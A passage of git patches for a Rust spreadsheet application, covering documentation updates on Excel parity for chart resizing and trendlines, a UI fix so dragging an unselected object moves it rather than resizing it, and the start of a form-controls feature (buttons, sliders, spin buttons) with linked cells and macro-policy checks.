title, legend position, two flags and axis titles - (`crates/model/src/features.rs`); PRs #158, #161 open; charts can't be resized (#190). Smooth lines (#62), Switch Row/Column (#116) and trendlines (read, written, drawn) landed. Multi-level category axes (year beside month) are read, drawn and written back. + (`crates/model/src/features.rs`); PRs #158, #161 open; charts resize from eight handles (#190). Smooth lines (#62), Switch Row/Column (#116) and trendlines (read, written, drawn) landed. Multi-level category axes (year beside month) are read, drawn and written back. (`crates/model/src/features.rs`); all 2-D kinds survive XLSX round trip (#158, #161); charts - can't be resized (#190). Smooth lines (#62), Switch Row/Column (#116) and trendlines (read, + resize from eight handles (#190). Smooth lines (#62), Switch Row/Column (#116) and trendlines (read, written, drawn) landed. - **Impact:** charts are in most business workbooks. - **Estimate:** 25–35 h for beta (40–60 h full). [chart-parity.md](chart-parity.md) @@ -183,6 +183,7 @@ No alpha blockers: every core workflow passes the [alpha gate](roadmap.md#alpha- | Date | Change | Summary | |---|---|---| +| 2026-10-31 | minor | §4: charts, like every floating object, move and resize from eight handles (#190), so resizing is no longer listed as missing | | 2026-10-24 | minor | §8: PivotTable Enable show details: `pivot.options` `enableShowDetails` turns Show Details off for a PivotTable, read and written in XLSX as `enableDrill` | | 2026-10-23 | minor | §8: PivotTable Show Details: double-clicking a value cell lists its source records on a new sheet (#2364) | | 2026-10-22 | minor | §20: a native window per workbook window, New Window on the same workbook and Arrange All on the desktop; left: Arrange All across monitors, the web's one window, pen pressure (estimate 10–14 h → 5–8 h) | diff --git a/docs/target-app-parity.md b/docs/target-app-parity.md index 7cee60f60..9c76d7a4a 100644 --- a/docs/target-app-parity.md +++ b/docs/target-app-parity.md @@ -1,6 +1,6 @@ # Target-app parity: GridCraft vs Microsoft Excel -> **Last reviewed:** 2026-10-11 · **Last updated:** 2026-10-25 · **Change:** minor (automation: macro interface; earlier: catalog count 276 / 292, as `cargo xtask parity` measures; automation: typed macros in the engine; several windows: a native window per workbook window, New Window on the same workbook, Arrange All; no score change) · **Target:** Microsoft Excel (Microsoft 365) +> **Last reviewed:** 2026-10-11 · **Last updated:** 2026-10-31 · **Change:** minor (chart resizing no longer listed as missing; earlier: automation: macro interface; earlier: catalog count 276 / 292, as `cargo xtask parity` measures; automation: typed macros in the engine; several windows: a native window per workbook window, New Window on the same workbook, Arrange All; no score change) · **Target:** Microsoft Excel (Microsoft 365) This is the authoritative parity assessment. [`ROADMAP.md`](../ROADMAP.md) summarizes it, [`gaps.md`](gaps.md) lists every shortfall, and the area checklists hold the detail: @@ -29,7 +29,7 @@ generated ribbon checklist is [`parity-checklist.md`](parity-checklist.md). |---|---|---|---| | Full target (ready for real work) | ~50% | ~650–1,050 | Get & Transform and the data model, localization (twelve languages), charts depth, file fidelity (`.xls`, corpus, pass-through), PivotTables, collaboration, mobile | | Mainstream practitioner | ~50% | ~200–310 | File exchange with Excel users (corpus and Excel verification, pass-through, large files, `.xls`, encryption: 63–97 h), common-chart depth (30–45 h), PivotTables (20–30 h), keyboard and interaction (18–28 h), calc correctness and functions (20–33 h) | -| Essentials user | ~63% | ~60–100 | Opening files people send (`.xls` import and saving with a password 24–36 h; macOS Finder open 2–4 h), launch stability (6–10 h), basic chart resize and polish (6–10 h), print and Page Layout (8–12 h), small editing and UI fixes (10–16 h) | +| Essentials user | ~63% | ~60–100 | Opening files people send (`.xls` import and saving with a password 24–36 h; macOS Finder open 2–4 h), launch stability (6–10 h), basic chart polish (5–8 h), print and Page Layout (8–12 h), small editing and UI fixes (10–16 h) | Each tier is a subset of the one above, so its hours are too. Calibrated as in [Effort and calibration](#effort-and-calibration) (~6–10 h per readiness point for the remaining, verification-heavy @@ -134,7 +134,7 @@ functions, co-authoring and admin, specialist hardware, and languages beyond the | Cell formatting, styles, conditional formatting | 13 | 80 | Feature-area table | | Sort, filter, tables, validation | 10 | 70 | Feature-area table | | PivotTables (core: fields, layouts, grouping, refresh) | 8 | 60 | Slicers and calculated fields excluded as less frequent | -| Charts (column, bar, line, pie, scatter, combo) | 9 | 45 | Common kinds work and survive save; no axis options or trendlines; resize broken (#190) | +| Charts (column, bar, line, pie, scatter, combo) | 9 | 45 | Common kinds work and survive save; no axis options or trendlines; moved and resized from eight handles (#190) | | Page layout, print, PDF | 5 | 60 | Latin text exports | | Comments, notes, protection | 3 | 55 | Feature-area table | | Pictures and shapes | 2 | 45 | Feature-area table | @@ -144,7 +144,7 @@ Discounts for what still stops real work: | Discount | Factor | Evidence | |---|---|---| -| Interaction fidelity | × 0.90 | 59 command shortcuts vs Excel's 200+; key tips only on part of the Home tab (#43); rectangular selection bug (#28); charts can't be resized (#190); missing horizontal scrollbar report (#176) | +| Interaction fidelity | × 0.90 | 59 command shortcuts vs Excel's 200+; key tips only on part of the Home tab (#43); rectangular selection bug (#28); missing horizontal scrollbar report (#176) | | Stability on real machines | × 0.92 | Never-crash lints, fuzzed commands and the `Session::execute` guard; but field reports of a startup crash on Intel UHD (#120), an error on close (#117), a freeze opening from Finder (#166) and screen flashing (#76) | | File exchange with Excel users | × 0.88 | Excel opening our output is unverified across features; unmodelled parts dropped on save; advanced chart kinds lose their type; 100 MB files fail (#175); `.xls` and encrypted files are refused with a clear message (#17) rather than opened. Harsher than a drawing app's discount because spreadsheets are exchanged constantly | @@ -167,7 +167,7 @@ edge cases are left out, along with everything excluded from the mainstream numb | Rows and columns: insert, delete, widths, AutoFit | 10 | 82 | AutoFit fixed (#42, #88); rows auto-fit oversized fonts on open and row formatting (#833) | | Sort and filter | 10 | 82 | | | Save, Save As, reopen XLSX | 10 | 85 | | -| A basic chart | 8 | 55 | Created easily; can't be resized (#190) | +| A basic chart | 8 | 55 | Created easily; moved and resized from eight handles (#190) | | Print and PDF | 7 | 65 | Desktop works; web PDF gives no file or feedback (#141) | | Find and replace | 5 | 85 | | | **Average depth** | 100 | **80.2** | | @@ -334,6 +334,7 @@ The inventory carried over from the 2026-10-07 ROADMAP.md, updated for what land | Date | Change | Summary | |---|---|---| +| 2026-10-31 | minor | Charts move and resize from eight handles like every floating object (#190): the Essentials chart work is polish only (5–8 h), and the chart rows and the interaction discount no longer list resizing as missing (no score change) | | 2026-10-25 | minor | Automation: macro interface (Automate › Macros, the Macros and Record Macro dialogs, the step editor, shortcuts) (no score change) | | 2026-10-25 | trivial | Catalog count 276 / 292 in the summary table and the method, as `cargo xtask parity` measures (no score change) | | 2026-10-22 | minor | Several windows on the desktop: a native window per workbook window, New Window on the same workbook, Switch Windows and Arrange All; "one window" removed from UI/UX fidelity, Hardware and the interaction-fidelity discount; no score change | From f3fbaa5568fb6169e3ab1d1ed3b2ad68fa367b43 Mon Sep 17 00:00:00 2001 From: prxnvt <53838599+prxnvt@users.noreply.github.com> Date: Sat, 31 Oct 2026 11:22:01 -0400 Subject: [PATCH 015/167] Objects: one chart evidence paragraph in gaps.md; trendlines are not missing MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit gaps.md §4 carried two evidence paragraphs, an older one saying PRs #158 and #161 were open and a newer one saying all 2-D kinds survive XLSX round trip, both repeating the resize, smooth-line, Switch Row/Column and trendline statements. It is one paragraph with the current status again. The Mainstream chart row in target-app-parity.md listed trendlines as missing; they are read, written and drawn (`Series::trendlines`, the XLSX chart reader and writer, `chart.addElement`), as chart-parity.md records. The row now says so and keeps "no axis options". No score change. --- docs/gaps.md | 8 ++++---- docs/target-app-parity.md | 4 ++-- 2 files changed, 6 insertions(+), 6 deletions(-) diff --git a/docs/gaps.md b/docs/gaps.md index ae3759269..76e0f8298 100644 --- a/docs/gaps.md +++ b/docs/gaps.md @@ -45,10 +45,10 @@ No alpha blockers: every core workflow passes the [alpha gate](roadmap.md#alpha- ### 4. Charts lose options on round trip; shallow chart model (F, FF) - **Missing:** axis scaling, label options, error bars, per-point formatting. - **Evidence:** `Chart` holds only title, legend position, two flags and axis titles - (`crates/model/src/features.rs`); PRs #158, #161 open; charts resize from eight handles (#190). Smooth lines (#62), Switch Row/Column (#116) and trendlines (read, written, drawn) landed. Multi-level category axes (year beside month) are read, drawn and written back. (`crates/model/src/features.rs`); all 2-D kinds survive XLSX round trip (#158, #161); charts - resize from eight handles (#190). Smooth lines (#62), Switch Row/Column (#116) and trendlines (read, - written, drawn) landed. + resize from eight handles (#190). Smooth lines (#62), Switch Row/Column (#116) and trendlines + (read, written, drawn) landed. Multi-level category axes (year beside month) are read, drawn + and written back. - **Impact:** charts are in most business workbooks. - **Estimate:** 25–35 h for beta (40–60 h full). [chart-parity.md](chart-parity.md) @@ -183,7 +183,7 @@ No alpha blockers: every core workflow passes the [alpha gate](roadmap.md#alpha- | Date | Change | Summary | |---|---|---| -| 2026-10-31 | minor | §4: charts, like every floating object, move and resize from eight handles (#190), so resizing is no longer listed as missing | +| 2026-10-31 | minor | §4: charts, like every floating object, move and resize from eight handles (#190), so resizing is no longer listed as missing; the evidence is one paragraph again, without the stale "PRs #158, #161 open" | | 2026-10-24 | minor | §8: PivotTable Enable show details: `pivot.options` `enableShowDetails` turns Show Details off for a PivotTable, read and written in XLSX as `enableDrill` | | 2026-10-23 | minor | §8: PivotTable Show Details: double-clicking a value cell lists its source records on a new sheet (#2364) | | 2026-10-22 | minor | §20: a native window per workbook window, New Window on the same workbook and Arrange All on the desktop; left: Arrange All across monitors, the web's one window, pen pressure (estimate 10–14 h → 5–8 h) | diff --git a/docs/target-app-parity.md b/docs/target-app-parity.md index 9c76d7a4a..b5a63ea36 100644 --- a/docs/target-app-parity.md +++ b/docs/target-app-parity.md @@ -134,7 +134,7 @@ functions, co-authoring and admin, specialist hardware, and languages beyond the | Cell formatting, styles, conditional formatting | 13 | 80 | Feature-area table | | Sort, filter, tables, validation | 10 | 70 | Feature-area table | | PivotTables (core: fields, layouts, grouping, refresh) | 8 | 60 | Slicers and calculated fields excluded as less frequent | -| Charts (column, bar, line, pie, scatter, combo) | 9 | 45 | Common kinds work and survive save; no axis options or trendlines; moved and resized from eight handles (#190) | +| Charts (column, bar, line, pie, scatter, combo) | 9 | 45 | Common kinds work and survive save; trendlines read, written and drawn; no axis options; moved and resized from eight handles (#190) | | Page layout, print, PDF | 5 | 60 | Latin text exports | | Comments, notes, protection | 3 | 55 | Feature-area table | | Pictures and shapes | 2 | 45 | Feature-area table | @@ -334,7 +334,7 @@ The inventory carried over from the 2026-10-07 ROADMAP.md, updated for what land | Date | Change | Summary | |---|---|---| -| 2026-10-31 | minor | Charts move and resize from eight handles like every floating object (#190): the Essentials chart work is polish only (5–8 h), and the chart rows and the interaction discount no longer list resizing as missing (no score change) | +| 2026-10-31 | minor | Charts move and resize from eight handles like every floating object (#190): the Essentials chart work is polish only (5–8 h), and the chart rows and the interaction discount no longer list resizing as missing; the Mainstream chart row no longer lists trendlines as missing (no score change) | | 2026-10-25 | minor | Automation: macro interface (Automate › Macros, the Macros and Record Macro dialogs, the step editor, shortcuts) (no score change) | | 2026-10-25 | trivial | Catalog count 276 / 292 in the summary table and the method, as `cargo xtask parity` measures (no score change) | | 2026-10-22 | minor | Several windows on the desktop: a native window per workbook window, New Window on the same workbook, Switch Windows and Arrange All; "one window" removed from UI/UX fidelity, Hardware and the interaction-fidelity discount; no score change | From 548e5345eec232a0473428b86d02835104a7b1a2 Mon Sep 17 00:00:00 2001 From: prxnvt <53838599+prxnvt@users.noreply.github.com> Date: Sat, 31 Oct 2026 12:53:46 -0400 Subject: [PATCH 016/167] Objects: only the selected object's handles resize; a press elsewhere on an object moves it A primary drag looked for a handle under the press on whatever object it grabbed, so pressing near the edge or corner of an object that was not selected started a resize, while the pointer over that spot showed the Move cursor (handles are only shown, and only offered by the cursor, on the selected object). The press now takes its handle from `chartview::selected_handle`, the same lookup the cursor uses; a press on any other object selects and moves it. Test: dragging an unselected shape by its bottom-right corner shows the Move cursor, then selects and moves the shape without resizing it. --- crates/ui-egui/src/grid/interact.rs | 8 +++++--- crates/ui-egui/tests/it/objects.rs | 18 ++++++++++++++++++ 2 files changed, 23 insertions(+), 3 deletions(-) diff --git a/crates/ui-egui/src/grid/interact.rs b/crates/ui-egui/src/grid/interact.rs index a7bbede7e..4b7adf587 100644 --- a/crates/ui-egui/src/grid/interact.rs +++ b/crates/ui-egui/src/grid/interact.rs @@ -124,16 +124,18 @@ pub(super) fn interact(app: &mut SheetApp, ui: &mut egui::Ui, resp: &egui::Respo // A drag is recognised only after the pointer has moved, so grab the object where the press began. let at = if primary_drag { pointer.press_origin().map(|p| geo.mirror_pos(p)).or(pos) } else { pos }; // The selected object's handles reach a little outside it, so they win over hit-testing. - let on_handle = at.and_then(|p| crate::chartview::selected_handle(app, geo, sh, p)).map(|(o, r, _)| (o, r)); + // Only they resize: a press anywhere on another object selects and moves it, as the + // hover cursor shows. + let on_handle = at.and_then(|p| crate::chartview::selected_handle(app, geo, sh, p)); + let handle = on_handle.map(|(.., h)| h); if let Some(p) = at - && let Some((obj, rect)) = on_handle.or_else(|| crate::chartview::hit(app, geo, sh, p)) + && let Some((obj, _)) = on_handle.map(|(o, r, _)| (o, r)).or_else(|| crate::chartview::hit(app, geo, sh, p)) { app.selected_object = Some(obj); if resp.double_clicked() && app.open_object(obj) != crate::objects::OpenAction::Select { return; } if primary_drag && let Some(a) = sh.object_anchor(obj) { - let handle = crate::objects::handle_at(rect, p); app.grid.drag = Drag::Object { obj, start: p, orig: (a.cell, a.dx, a.dy, a.width, a.height), handle, stepped: false }; // The first recognised drag frame already holds movement away from the press. if let Some(now) = pos { diff --git a/crates/ui-egui/tests/it/objects.rs b/crates/ui-egui/tests/it/objects.rs index 521a2f44c..e3382352d 100644 --- a/crates/ui-egui/tests/it/objects.rs +++ b/crates/ui-egui/tests/it/objects.rs @@ -344,3 +344,21 @@ fn each_drag_of_an_object_is_its_own_undo_step() { h.run_steps(2); assert_eq!(rect(&h, o.image), start, "a second undo takes back the move"); } + +#[test] +fn dragging_an_unselected_object_by_its_edge_moves_it() { + let (mut h, o) = fixture(); + assert_eq!(h.state().selected_object, None); + let before = rect(&h, o.shape); + // On the bottom-right corner, where the handle would be if the shape were selected; the + // pointer shows Move there, and the press selects and moves the shape. + let grab = Handle::BottomRight.pos(before) - vec2(2.0, 2.0); + h.input_mut().events.push(Event::PointerMoved(grab)); + h.run_steps(2); + assert_eq!(h.output().platform_output.cursor_icon, egui::CursorIcon::Move); + drag(&mut h, grab, grab + vec2(30.0, 20.0)); + let after = rect(&h, o.shape); + assert_eq!(h.state().selected_object, Some(o.shape)); + assert!((after.size() - before.size()).length() < 0.5, "not resized: {before:?} {after:?}"); + assert!((after.min - before.min - vec2(30.0, 20.0)).length() < 1.0, "moved with the pointer: {before:?} {after:?}"); +} From a0d991e903e5953b17e52c3ec5abe02ff1908b25 Mon Sep 17 00:00:00 2001 From: prxnvt <53838599+prxnvt@users.noreply.github.com> Date: Sun, 11 Oct 2026 22:33:25 -0400 Subject: [PATCH 017/167] Form controls: model and commands for buttons, sliders and spin buttons A sheet holds form controls as floating objects of a new kind (ObjKind::Control): buttons that run a macro or one command, and sliders and spin buttons that hold a whole number from 0 to 30000 and write it to a linked cell. They take part in everything other objects do: ids from the workbook sequence, object.move, object.delete and object.setAnchorMode, the Selection Pane and Bring Forward / Send Backward, anchors that follow row and column edits, fresh ids on a copied sheet, and links that follow inserts, deletes, cut-moves, sheet renames and sheet deletes like chart series. Commands (cmd/controls.rs): insert.button, insert.slider, insert.spinButton, control.format, control.assign, control.setValue, control.press and the control.list query. Each numeric rule (0 <= min < max <= 30000, 1 <= step <= max - min, page >= step for sliders) is refused with its own message, and values are clamped and snapped to the step. control.setValue writes the linked cell through cell.set inside one undo group, so dependents recalculate and one Undo restores both; every commit moves linked controls to what their cells hold. control.press runs a button's macro through macro.run, or its command through the macro policy with the document's trust, so a button in a workbook opened from a file asks before it runs anything. Like a macro step, the command runs inside the scripts' file sandbox unless it is an approved file command. Macros never press controls, and macro.rename keeps buttons pointing at the renamed macro. macro.run, macro.check and the debugger take `output`, which replaces the macro's output anchor for that run (a button that sends the output elsewhere). The policy and the approval go by the stored macro; the footprint, the conflict rule and the per-step check work on the cells `output` names. A value that isn't reference text of at most 1,024 characters, or names no cell, is refused before anything runs. --- crates/engine/src/cmd.rs | 3 + crates/engine/src/cmd/controls.rs | 532 ++++++++++++++++++++ crates/engine/src/cmd/edit/paste_special.rs | 8 +- crates/engine/src/cmd/extra.rs | 6 +- crates/engine/src/cmd/extra/objects.rs | 12 + crates/engine/src/cmd/insert.rs | 8 +- crates/engine/src/cmd/macros.rs | 22 +- crates/engine/src/cmd/sheet/tabs.rs | 1 + crates/engine/src/macros/policy.rs | 2 + crates/engine/src/macros/run.rs | 34 +- crates/engine/src/tests.rs | 1 + crates/engine/src/tests/controls.rs | 317 ++++++++++++ crates/engine/src/tests/macros.rs | 55 ++ crates/engine/src/tests/objects.rs | 34 +- crates/model/src/features.rs | 169 ++++++- crates/model/src/sheet.rs | 22 +- crates/model/src/workbook.rs | 7 + crates/ui-egui/src/objects.rs | 2 +- docs/macros.md | 26 +- 19 files changed, 1220 insertions(+), 41 deletions(-) create mode 100644 crates/engine/src/cmd/controls.rs create mode 100644 crates/engine/src/tests/controls.rs diff --git a/crates/engine/src/cmd.rs b/crates/engine/src/cmd.rs index be1a28f4d..5d2690ace 100644 --- a/crates/engine/src/cmd.rs +++ b/crates/engine/src/cmd.rs @@ -2,6 +2,7 @@ //! `data.sortAscending`) plus primitive editing commands (`cell.set`, `selection.set`). pub mod analysis; +pub mod controls; pub mod data; pub mod draw; pub mod edit; @@ -138,6 +139,7 @@ pub fn command_specs() -> &'static [CommandSpec] { v.extend(format::specs()); v.extend(sheet::specs()); v.extend(insert::specs()); + v.extend(controls::specs()); v.extend(data::specs()); v.extend(formulas::specs()); v.extend(review::specs()); @@ -401,6 +403,7 @@ pub(crate) fn commit(d: &mut DocState, f: impl FnOnce(&mut Ctx) -> Result) } else if !changed.is_empty() { d.calc.cells_changed(&mut wb, &changed); } + controls::sync_linked_values(&mut wb); if let Some(t0) = t0 { eprintln!("commit: + recalc {:?}", since(t0)); } diff --git a/crates/engine/src/cmd/controls.rs b/crates/engine/src/cmd/controls.rs new file mode 100644 index 000000000..77193e091 --- /dev/null +++ b/crates/engine/src/cmd/controls.rs @@ -0,0 +1,532 @@ +//! Form controls (Insert › Controls): buttons that run a macro or a command, and sliders and spin +//! buttons that hold a whole number from 0 to 30000 and write it to a linked cell. +//! +//! A slider or spin button's value lives on the control and in its linked cell. Setting it goes +//! through `cell.set`, so the cell's dependents recalculate and Undo takes both back as one step; +//! editing the linked cell moves the control (see [`sync_linked_values`]). Pressing a button runs +//! its action through the macro policy with the document's trust, so a button from a file someone +//! else made asks before it runs anything. + +use gridcraft_core::CellRef; +use gridcraft_model::{Anchor, AnchorMode, CONTROL_MAX, ControlAction, ControlKind, FormControl, MAX_MACRO_NAME, MacroInput, Sheet, Workbook}; +use serde_json::{Value as Json, json}; + +use super::{ + CommandSpec, EngineError, PROTECTED, Result, Session, anchor_mode_param, bad, bool_param, cell_param, cmd, edit, f64_param, find_command, + has_doc, split_sheet, str_param, u32_param, +}; +use crate::macros::policy::{Policy, macro_policy}; + +pub fn specs() -> Vec { + vec![ + cmd!( + "insert.button", + "Button", + ["Insert", "Controls"], + None, + "{at?: \"B2\" (or cell), dx?, dy?, width?, height?, text?, macro?: name, input?: \"selection\" | \"B2:D9\", output?: \"F2\", command?: id, params?: {..}} places a button; pressing it runs the macro or the command → {control: id}", + has_doc, + insert_button + ), + cmd!( + "insert.slider", + "Slider", + ["Insert", "Controls"], + None, + "{at?: \"B2\" (or cell), dx?, dy?, width?, height?, link?: \"$B$1\" | \"Sheet2!$B$1\", min?: 0, max?: 100, step?: 1, page?: 10, value?, horizontal?: true} whole numbers, 0 ≤ min < max ≤ 30000, 1 ≤ step ≤ max − min, page ≥ step → {control: id}", + has_doc, + |s, p| insert_number_control(s, p, ControlKind::Slider) + ), + cmd!( + "insert.spinButton", + "Spin Button", + ["Insert", "Controls"], + None, + "{at?: \"B2\" (or cell), dx?, dy?, width?, height?, link?: \"$B$1\", min?: 0, max?: 100, step?: 1, value?} whole numbers, 0 ≤ min < max ≤ 30000, 1 ≤ step ≤ max − min → {control: id}", + has_doc, + |s, p| insert_number_control(s, p, ControlKind::Spin) + ), + cmd!( + "control.format", + "Format Control", + [], + None, + "{id, text?, name?, link?: \"$B$1\" | \"\" (no link), min?, max?, step?, page?, value?, horizontal?, print?, locked?} → the control (as control.list)", + has_doc, + format + ), + cmd!( + "control.assign", + "Assign Action", + [], + None, + "{id, macro?: name, input?: \"selection\" | \"B2:D9\", output?: \"F2\" | command?: id, params?: {..} | clear?: true} sets what a button runs → the control", + has_doc, + assign + ), + cmd!( + "control.setValue", + "Change Control Value", + [], + None, + "{id, value} clamps the value to min..max, snaps it to the step, and writes it to the linked cell → {value}", + has_doc, + set_value + ), + cmd!( + "control.press", + "Press Button", + [], + None, + "{id, approve?: bool, onConflict?, overwrite?} runs a button's macro or command (through the macro policy, with the workbook's trust; a workbook from a file asks first) → what the macro or command returned", + has_doc, + press + ), + cmd!(query "control.list", "Form Controls", [], None, "{} → the active sheet's controls: [{id, kind, name, text, at, link?, value, min, max, step, page, horizontal, action?}]", has_doc, list), + ] +} + +/// The longest caption or name a control takes. +const MAX_TEXT: usize = 1_024; + +fn control_json(c: &FormControl) -> Json { + let mut o = json!({ + "id": c.id, + "kind": match c.kind { ControlKind::Button => "button", ControlKind::Slider => "slider", ControlKind::Spin => "spinButton" }, + "name": c.display_name(), + "at": c.anchor.cell.a1(), + "width": c.anchor.width, + "height": c.anchor.height, + "print": c.print, + "locked": c.locked, + }); + if c.kind == ControlKind::Button { + o["text"] = json!(c.text); + if let Some(a) = &c.action { + o["action"] = serde_json::to_value(a).unwrap_or(Json::Null); + } + } else { + o["value"] = json!(c.value); + o["min"] = json!(c.min); + o["max"] = json!(c.max); + o["step"] = json!(c.step); + if c.kind == ControlKind::Slider { + o["page"] = json!(c.page); + o["horizontal"] = json!(c.horizontal); + } + } + if let Some(l) = &c.link { + o["link"] = json!(l); + } + o +} + +fn list(s: &mut Session, _: &Json) -> Result { + let sh = s.doc()?.wb.active().ok_or(EngineError::NoDocument)?; + Ok(Json::Array(sh.controls.iter().map(control_json).collect())) +} + +/// A whole number from 0 to 30000 named `key`, if given. Numbers in text (`"12"`) count; anything +/// else is refused with a message that names the parameter. +fn whole(cmd: &str, p: &Json, key: &str) -> Result> { + let v = match p.get(key) { + None | Some(Json::Null) => return Ok(None), + Some(Json::Number(n)) => n.as_f64(), + Some(Json::String(t)) => t.trim().parse::().ok(), + Some(_) => None, + }; + match v { + Some(x) if x.is_finite() && x.fract() == 0.0 && (0.0..=CONTROL_MAX as f64).contains(&x) => Ok(Some(x as u32)), + _ => Err(bad(cmd, format!("`{key}` must be a whole number from 0 to {CONTROL_MAX}"))), + } +} + +fn text_param(cmd: &str, p: &Json, key: &str) -> Result> { + match p.get(key) { + None | Some(Json::Null) => Ok(None), + Some(Json::String(t)) if t.chars().count() <= MAX_TEXT => Ok(Some(t.clone())), + Some(Json::String(_)) => Err(bad(cmd, format!("`{key}` is longer than {MAX_TEXT} characters"))), + Some(_) => Err(bad(cmd, format!("`{key}` must be text"))), + } +} + +/// The cell a link names, from the control's sheet `host`: `(sheet index, cell)`. `None` when it +/// doesn't name one cell of an existing sheet (a link into a deleted sheet reads `#REF!`). +pub fn link_target(wb: &Workbook, host: usize, link: &str) -> Option<(usize, CellRef)> { + let text = link.trim().trim_start_matches('='); + let (sheet, body) = split_sheet(text); + let si = match sheet { + Some(n) => wb.sheet_index(&n)?, + None => host, + }; + wb.sheet(si)?; + Some((si, CellRef::parse(body.trim())?)) +} + +/// A link parameter in its stored form: `$B$2` on the host sheet, `'My Sheet'!$B$2` elsewhere. +/// An empty text removes the link. +fn link_param(cmd: &str, wb: &Workbook, host: usize, p: &Json) -> Result>> { + let text = match p.get("link") { + None => return Ok(None), + Some(Json::Null) => return Ok(Some(None)), + Some(Json::String(t)) => t.trim(), + Some(_) => return Err(bad(cmd, "`link` must be a cell reference such as $B$1")), + }; + if text.is_empty() { + return Ok(Some(None)); + } + let (si, c) = link_target(wb, host, text) + .ok_or_else(|| bad(cmd, format!("`{text}` isn't a cell of this workbook; the link must be one cell, such as $B$1")))?; + let abs = format!("${}${}", gridcraft_core::col_to_letters(c.col), c.row as u64 + 1); + Ok(Some(Some(if si == host { + abs + } else { + let name = wb.sheet(si).map(|sh| sh.name.clone()).unwrap_or_default(); + format!("{}!{abs}", gridcraft_formula::quote_sheet(&name)) + }))) +} + +/// The anchor of a new control: `at` or `cell` (default the active cell), with its size. +fn new_anchor(s: &Session, p: &Json, size: (f32, f32)) -> Result { + let cell = match cell_param(s, p, "at")? { + Some(c) => c, + None => cell_param(s, p, "cell")?.unwrap_or(s.doc()?.selection.active), + }; + let dim = |k: &str, v: f32| f64_param(p, k).filter(|x| x.is_finite()).map_or(v, |x| x.clamp(4.0, 10_000.0) as f32); + let off = |k: &str| f64_param(p, k).filter(|x| x.is_finite()).map_or(0.0, |x| x.clamp(-10_000.0, 10_000.0) as f32); + Ok(Anchor { + cell, + dx: off("dx"), + dy: off("dy"), + width: dim("width", size.0), + height: dim("height", size.1), + mode: anchor_mode_param(p).unwrap_or(AnchorMode::MoveOnly), + }) +} + +fn insert_button(s: &mut Session, p: &Json) -> Result { + const CMD: &str = "insert.button"; + let anchor = new_anchor(s, p, (96.0, 28.0))?; + let action = action_param(s, CMD, p)?; + let d = s.doc()?; + let id = d.wb.next_object_id(); + let text = text_param(CMD, p, "text")?.unwrap_or_else(|| format!("Button {id}")); + let sheet = d.wb.active_sheet(); + let control = FormControl { id, kind: ControlKind::Button, anchor, text, action, ..FormControl::default() }; + edit(s, |cx| { + cx.sheet_mut(sheet)?.controls.push(control); + Ok(json!({"control": id})) + }) +} + +fn insert_number_control(s: &mut Session, p: &Json, kind: ControlKind) -> Result { + let cmd = if kind == ControlKind::Slider { "insert.slider" } else { "insert.spinButton" }; + let horizontal = bool_param(p, "horizontal").unwrap_or(true); + let size = match kind { + ControlKind::Slider if horizontal => (144.0, 18.0), + ControlKind::Slider => (18.0, 144.0), + _ => (18.0, 36.0), + }; + let anchor = new_anchor(s, p, size)?; + let d = s.doc()?; + let sheet = d.wb.active_sheet(); + let id = d.wb.next_object_id(); + let mut c = FormControl { id, kind, anchor, horizontal, ..FormControl::default() }; + numbers(cmd, p, &mut c)?; + if let Some(link) = link_param(cmd, &d.wb, sheet, p)? { + c.link = link; + } + let given = whole(cmd, p, "value")?; + // Without a value, a control starts at the number its linked cell holds (or its minimum). + let start = given.map(f64::from).or_else(|| linked_number(&d.wb, sheet, &c)).unwrap_or(c.min as f64); + c.value = c.snap(start); + let value = c.value; + let link = c.link.clone(); + s.grouped(&format!("Insert {}", kind.label()), |s| { + edit(s, |cx| { + cx.sheet_mut(sheet)?.controls.push(c); + Ok(()) + })?; + if given.is_some() { + write_link(s, sheet, link.as_deref(), value)?; + } + Ok(json!({"control": id})) + }) +} + +/// Applies `min`, `max`, `step`, `page` and `value` from `p` to `c` and checks the result. +fn numbers(cmd: &str, p: &Json, c: &mut FormControl) -> Result<()> { + for (key, slot) in [("min", &mut c.min), ("max", &mut c.max), ("step", &mut c.step), ("page", &mut c.page)] { + if let Some(v) = whole(cmd, p, key)? { + *slot = v; + } + } + // A new slider's page follows a larger step unless it was given. + if p.get("page").is_none() && c.page < c.step { + c.page = c.step; + } + c.check_numbers().map_err(|e| bad(cmd, e)) +} + +/// The number the control's linked cell holds, if it holds one. +fn linked_number(wb: &Workbook, host: usize, c: &FormControl) -> Option { + let (si, cell) = link_target(wb, host, c.link.as_deref()?)?; + wb.sheet(si)?.cell(cell)?.value.as_f64() +} + +/// Writes `value` to the linked cell through `cell.set` (nothing without a link). +fn write_link(s: &mut Session, host: usize, link: Option<&str>, value: u32) -> Result<()> { + let Some(link) = link else { return Ok(()) }; + let Some((si, cell)) = link_target(&s.doc()?.wb, host, link) else { return Ok(()) }; + let holds = s.doc()?.wb.sheet(si).and_then(|sh| sh.cell(cell)).and_then(|c| if c.formula.is_none() { c.value.as_f64() } else { None }); + if holds == Some(value as f64) { + return Ok(()); + } + s.execute("cell.set", json!({"sheet": si, "cell": cell.a1(), "input": value.to_string()}))?; + Ok(()) +} + +/// The control `id` names on the active sheet: (sheet, its index in `controls`, a copy). +fn find(s: &Session, cmd: &str, p: &Json) -> Result<(usize, usize, FormControl)> { + let id = u32_param(p, "id").ok_or_else(|| bad(cmd, "missing `id` (a control id from control.list)"))?; + let d = s.doc()?; + let sheet = d.wb.active_sheet(); + let sh = d.wb.sheet(sheet).ok_or(EngineError::NoDocument)?; + let i = sh.controls.iter().position(|c| c.id == id).ok_or_else(|| bad(cmd, format!("there is no control {id} on this sheet")))?; + let c = sh.controls.get(i).cloned().ok_or_else(|| bad(cmd, "no such control"))?; + Ok((sheet, i, c)) +} + +/// Drawing objects on a protected sheet can't be changed while they are locked. +fn check_unlocked(s: &Session, sheet: usize, c: &FormControl) -> Result<()> { + if c.locked && s.doc()?.wb.sheet(sheet).is_some_and(Sheet::is_protected) { + return Err(EngineError::Other(PROTECTED.into())); + } + Ok(()) +} + +fn format(s: &mut Session, p: &Json) -> Result { + const CMD: &str = "control.format"; + let (sheet, i, mut c) = find(s, CMD, p)?; + check_unlocked(s, sheet, &c)?; + if let Some(t) = text_param(CMD, p, "text")? { + c.text = t; + } + if let Some(n) = text_param(CMD, p, "name")? { + c.name = n.trim().to_string(); + } + for (key, slot) in [("print", &mut c.print), ("locked", &mut c.locked), ("horizontal", &mut c.horizontal)] { + if let Some(v) = bool_param(p, key) { + *slot = v; + } + } + let mut given = None; + if c.kind != ControlKind::Button { + for (key, 